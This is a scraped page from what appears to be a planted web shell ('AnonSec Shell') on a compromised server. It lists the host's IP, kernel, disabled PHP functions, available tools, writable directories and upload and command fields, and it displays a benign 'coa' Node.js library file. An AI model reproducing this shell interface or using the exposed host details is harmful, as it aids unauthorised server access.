AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/coa/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/coa/lib/coaobject.js
/* eslint-disable class-methods-use-this */
'use strict';

const Q = require('q');

/**
 * COA Object
 *
 * Base class for all COA-related objects
 *
 * --------|-----|-----|-----
 *         | Cmd | Opt | Arg
 * --------|-----|-----|-----
 *  name   | ✓   | ✓   | ✓
 *  title  | ✓   | ✓   | ✓
 *  comp   | ✓   | ✓   | ✓
 *  reject | ✓   | ✓   | ✓
 *  end    | ✓   | ✓   | ✓
 *  apply  | ✓   | ✓   | ✓
 *
 * @class CoaObject
 */
module.exports = class CoaObject {
    constructor(cmd) {
        this._cmd = cmd;
        this._name = null;
        this._title = null;
        this._comp = null;
    }

    /**
     * Set a canonical identifier to be used anywhere in the API.
     *
     * @param {String} name - command, option or argument name
     * @returns {COA.CoaObject} - this instance (for chainability)
     */
    name(name) {
        this._name = name;
        return this;
    }

    /**
     * Set a long description to be used anywhere in text messages.
     * @param {String} title - human readable entity title
     * @returns {COA.CoaObject} - this instance (for chainability)
     */
    title(title) {
        this._title = title;
        return this;
    }

    /**
     * Set custom additional completion for current object.
     *
     * @param {Function} comp - completion generation function,
     *         invoked in the context of object instance.
     *         Accepts parameters:
     *                 - {Object} opts - completion options
     *         It can return promise or any other value threated as a result.
     * @returns {COA.CoaObject} - this instance (for chainability)
     */
    comp(comp) {
        this._comp = comp;
        return this;
    }

    /**
     * Apply function with arguments in a context of object instance.
     *
     * @param {Function} fn - body
     * @param {Array.<*>} args... - arguments
     * @returns {COA.CoaObject} - this instance (for chainability)
     */
    apply(fn) {
        arguments.length > 1?
            fn.apply(this, [].slice.call(arguments, 1))
            : fn.call(this);

        return this;
    }

    /**
     * Return reject of actions results promise with error code.
     * Use in .act() for return with error.
     * @param {Object} reason - reject reason
     *         You can customize toString() method and exitCode property
     *         of reason object.
     * @returns {Q.promise} rejected promise
     */
    reject(reason) {
        return Q.reject(reason);
    }

    /**
     * Finish chain for current subcommand and return parent command instance.
     * @returns {COA.Cmd} parent command
     */
    end() {
        return this._cmd;
    }
};

Anon7 - 2022
AnonSec Team